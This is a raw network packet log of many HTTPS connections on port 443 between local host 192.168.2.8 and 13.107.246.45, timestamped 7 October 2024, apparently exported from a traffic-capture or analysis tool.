Oct 7, 2024 06:45:30.085843086 CEST	49748	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.085856915 CEST	443	49748	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.129200935 CEST	443	49749	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.129626036 CEST	49749	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.129633904 CEST	443	49749	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.129945040 CEST	49749	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.129947901 CEST	443	49749	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.136173010 CEST	443	49750	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.136425972 CEST	49750	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.136434078 CEST	443	49750	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.136713028 CEST	49750	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.136717081 CEST	443	49750	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.167427063 CEST	443	49746	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.167486906 CEST	443	49746	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.167552948 CEST	49746	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.167782068 CEST	49746	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.167798042 CEST	443	49746	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.167841911 CEST	49746	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.167857885 CEST	443	49746	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.169281960 CEST	443	49747	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.169430971 CEST	443	49747	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.169485092 CEST	49747	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.169559002 CEST	49747	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.169581890 CEST	443	49747	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.170638084 CEST	49751	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.170742035 CEST	443	49751	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.170828104 CEST	49751	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.171014071 CEST	49751	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.171042919 CEST	443	49751	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.171305895 CEST	49752	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.171351910 CEST	443	49752	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.171412945 CEST	49752	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.171545029 CEST	49752	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.171570063 CEST	443	49752	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.185329914 CEST	443	49748	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.185480118 CEST	443	49748	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.185549974 CEST	49748	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.185616970 CEST	49748	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.185646057 CEST	443	49748	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.185672045 CEST	49748	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.185683966 CEST	443	49748	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.187635899 CEST	49753	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.187678099 CEST	443	49753	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.187746048 CEST	49753	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.187855005 CEST	49753	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.187865019 CEST	443	49753	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.229338884 CEST	443	49749	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.229480982 CEST	443	49749	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.229548931 CEST	49749	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.229593039 CEST	49749	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.229600906 CEST	443	49749	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.229645967 CEST	49749	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.229650021 CEST	443	49749	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.231921911 CEST	49754	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.231964111 CEST	443	49754	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.232033968 CEST	49754	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.232140064 CEST	49754	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.232146025 CEST	443	49754	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.236116886 CEST	443	49750	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.236282110 CEST	443	49750	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.236335039 CEST	49750	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.236372948 CEST	49750	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.236380100 CEST	443	49750	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.236392021 CEST	49750	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.236394882 CEST	443	49750	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.238182068 CEST	49755	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.238198042 CEST	443	49755	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.238255024 CEST	49755	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.238379955 CEST	49755	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.238394022 CEST	443	49755	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.808641911 CEST	443	49751	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.809398890 CEST	49751	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.809436083 CEST	443	49751	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.809919119 CEST	49751	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.809933901 CEST	443	49751	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.842896938 CEST	443	49752	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.843483925 CEST	49752	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.843549013 CEST	443	49752	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.844096899 CEST	49752	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.844111919 CEST	443	49752	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.854592085 CEST	443	49753	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.854969978 CEST	49753	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.855015993 CEST	443	49753	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.855448961 CEST	49753	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.855462074 CEST	443	49753	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.878489017 CEST	443	49755	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.878926992 CEST	49755	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.878948927 CEST	443	49755	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.879488945 CEST	49755	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.879501104 CEST	443	49755	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.900147915 CEST	443	49754	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.900804996 CEST	49754	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.900825977 CEST	443	49754	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.901346922 CEST	49754	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.901357889 CEST	443	49754	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.908198118 CEST	443	49751	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.908349037 CEST	443	49751	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.908576965 CEST	49751	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.908576965 CEST	49751	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.909271955 CEST	49751	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.909318924 CEST	443	49751	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.911504984 CEST	49756	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.911559105 CEST	443	49756	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.911648035 CEST	49756	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.911776066 CEST	49756	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.911786079 CEST	443	49756	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.946146965 CEST	443	49752	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.946274996 CEST	443	49752	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.946399927 CEST	49752	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.946448088 CEST	49752	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.946477890 CEST	443	49752	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.946527004 CEST	49752	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.946542025 CEST	443	49752	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.949332952 CEST	49757	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.949426889 CEST	443	49757	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.949531078 CEST	49757	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.949667931 CEST	49757	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.949691057 CEST	443	49757	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.956629038 CEST	443	49753	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.956788063 CEST	443	49753	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.956857920 CEST	49753	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.956911087 CEST	49753	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.956912041 CEST	49753	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.956945896 CEST	443	49753	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.956967115 CEST	443	49753	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.959146023 CEST	49758	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.959187031 CEST	443	49758	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.959261894 CEST	49758	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.959408045 CEST	49758	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.959429026 CEST	443	49758	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.976372957 CEST	443	49755	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.976468086 CEST	443	49755	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.976617098 CEST	49755	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.976856947 CEST	49755	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.976874113 CEST	443	49755	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.976903915 CEST	49755	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.976912022 CEST	443	49755	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.981029034 CEST	49759	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.981084108 CEST	443	49759	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:30.981174946 CEST	49759	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.981326103 CEST	49759	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:30.981339931 CEST	443	49759	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.003251076 CEST	443	49754	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.003432989 CEST	443	49754	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.003531933 CEST	49754	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.003659010 CEST	49754	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.003659010 CEST	49754	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.003707886 CEST	443	49754	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.003737926 CEST	443	49754	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.006584883 CEST	49760	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.006643057 CEST	443	49760	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.006740093 CEST	49760	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.006895065 CEST	49760	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.006911039 CEST	443	49760	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.578583002 CEST	443	49756	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.589077950 CEST	443	49757	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.599229097 CEST	443	49758	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.612092018 CEST	49756	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.612123013 CEST	443	49756	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.612519979 CEST	49756	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.612526894 CEST	443	49756	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.612860918 CEST	49757	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.612971067 CEST	443	49757	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.613018990 CEST	49757	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.613033056 CEST	443	49757	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.613243103 CEST	49758	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.613259077 CEST	443	49758	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.613545895 CEST	49758	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.613557100 CEST	443	49758	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.621645927 CEST	443	49759	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.627892017 CEST	49759	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.627911091 CEST	443	49759	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.628249884 CEST	49759	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.628257036 CEST	443	49759	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.659502983 CEST	443	49760	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.679042101 CEST	49760	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.679050922 CEST	443	49760	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.682655096 CEST	49760	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.682660103 CEST	443	49760	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.708278894 CEST	443	49757	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.708436966 CEST	443	49757	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.708528042 CEST	49757	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.708839893 CEST	443	49758	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.709006071 CEST	443	49758	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.711471081 CEST	49758	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.712136984 CEST	443	49756	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.712279081 CEST	443	49756	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.715446949 CEST	49756	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.723805904 CEST	443	49759	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.723948002 CEST	443	49759	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.724036932 CEST	49759	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.738713026 CEST	49757	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.738749027 CEST	443	49757	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.738807917 CEST	49757	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.738825083 CEST	443	49757	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.745872021 CEST	49759	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.745892048 CEST	443	49759	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.745906115 CEST	49759	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.745913982 CEST	443	49759	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.756408930 CEST	49758	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.756408930 CEST	49758	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.756433964 CEST	443	49758	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.756455898 CEST	443	49758	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.770701885 CEST	49756	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.770709038 CEST	443	49756	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.770747900 CEST	49756	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.770754099 CEST	443	49756	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.789668083 CEST	443	49760	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.789664984 CEST	49761	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.789787054 CEST	443	49761	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.789813995 CEST	443	49760	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.789897919 CEST	49761	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.790291071 CEST	49760	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.804142952 CEST	49762	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.804187059 CEST	443	49762	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.804289103 CEST	49762	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.822279930 CEST	49763	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.822309971 CEST	443	49763	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.822376966 CEST	49763	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.822568893 CEST	49763	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.822585106 CEST	443	49763	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.822702885 CEST	49760	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.822709084 CEST	443	49760	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.822747946 CEST	49760	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.822752953 CEST	443	49760	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.823949099 CEST	49761	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.824040890 CEST	443	49761	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.845685005 CEST	49762	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.845745087 CEST	443	49762	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.847883940 CEST	49764	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.847968102 CEST	443	49764	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.848042965 CEST	49764	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.848392010 CEST	49764	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.848428965 CEST	443	49764	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.849057913 CEST	49765	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.849113941 CEST	443	49765	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:31.849220037 CEST	49765	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.849340916 CEST	49765	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:31.849351883 CEST	443	49765	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.501137018 CEST	443	49764	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.501622915 CEST	49764	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.501656055 CEST	443	49764	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.502043009 CEST	49764	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.502051115 CEST	443	49764	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.502398014 CEST	443	49765	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.502722979 CEST	49765	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.502772093 CEST	443	49765	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.503076077 CEST	49765	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.503082037 CEST	443	49765	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.506146908 CEST	443	49762	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.506477118 CEST	49762	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.506496906 CEST	443	49762	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.506817102 CEST	49762	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.506824017 CEST	443	49762	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.511321068 CEST	443	49763	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.511604071 CEST	49763	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.511635065 CEST	443	49763	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.511914015 CEST	49763	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.511920929 CEST	443	49763	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.513252974 CEST	443	49761	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.513544083 CEST	49761	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.513556957 CEST	443	49761	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.513866901 CEST	49761	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.513874054 CEST	443	49761	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.600735903 CEST	443	49764	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.600864887 CEST	443	49764	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.600981951 CEST	49764	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.601098061 CEST	49764	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.601114035 CEST	443	49764	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.601144075 CEST	49764	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.601150990 CEST	443	49764	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.602195024 CEST	443	49765	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.602349043 CEST	443	49765	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.602412939 CEST	49765	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.602511883 CEST	49765	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.602531910 CEST	443	49765	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.602545023 CEST	49765	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.602550983 CEST	443	49765	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.604041100 CEST	49766	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.604068041 CEST	443	49766	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.604147911 CEST	49766	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.604352951 CEST	49767	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.604367971 CEST	49766	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.604374886 CEST	443	49767	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.604377985 CEST	443	49766	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.604434967 CEST	49767	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.604496002 CEST	49767	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.604502916 CEST	443	49767	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.612883091 CEST	443	49762	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.613029003 CEST	443	49762	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.613100052 CEST	49762	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.613183975 CEST	49762	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.613183975 CEST	49762	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.613218069 CEST	443	49762	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.613243103 CEST	443	49762	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.614762068 CEST	49768	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.614854097 CEST	443	49768	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.614933014 CEST	49768	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.615031958 CEST	49768	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.615051985 CEST	443	49768	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.615597963 CEST	443	49763	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.615730047 CEST	443	49763	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.615780115 CEST	49763	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.615803957 CEST	49763	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.615818977 CEST	443	49763	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.615832090 CEST	49763	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.615838051 CEST	443	49763	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.617217064 CEST	49769	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.617238045 CEST	443	49769	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.617295027 CEST	49769	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.617388010 CEST	49769	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.617396116 CEST	443	49769	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.619285107 CEST	443	49761	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.619431019 CEST	443	49761	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.619484901 CEST	49761	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.619525909 CEST	49761	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.619525909 CEST	49761	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.619544029 CEST	443	49761	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.619565010 CEST	443	49761	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.621320009 CEST	49770	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.621328115 CEST	443	49770	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:32.621390104 CEST	49770	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.621469975 CEST	49770	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:32.621476889 CEST	443	49770	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.246153116 CEST	443	49766	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.247040033 CEST	49766	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.247088909 CEST	443	49766	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.247749090 CEST	49766	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.247756958 CEST	443	49766	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.252660990 CEST	443	49769	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.253143072 CEST	49769	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:33.253153086 CEST	443	49769	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:33.253756046 CEST	49769	443	192.168.2.8	13.107.246.45
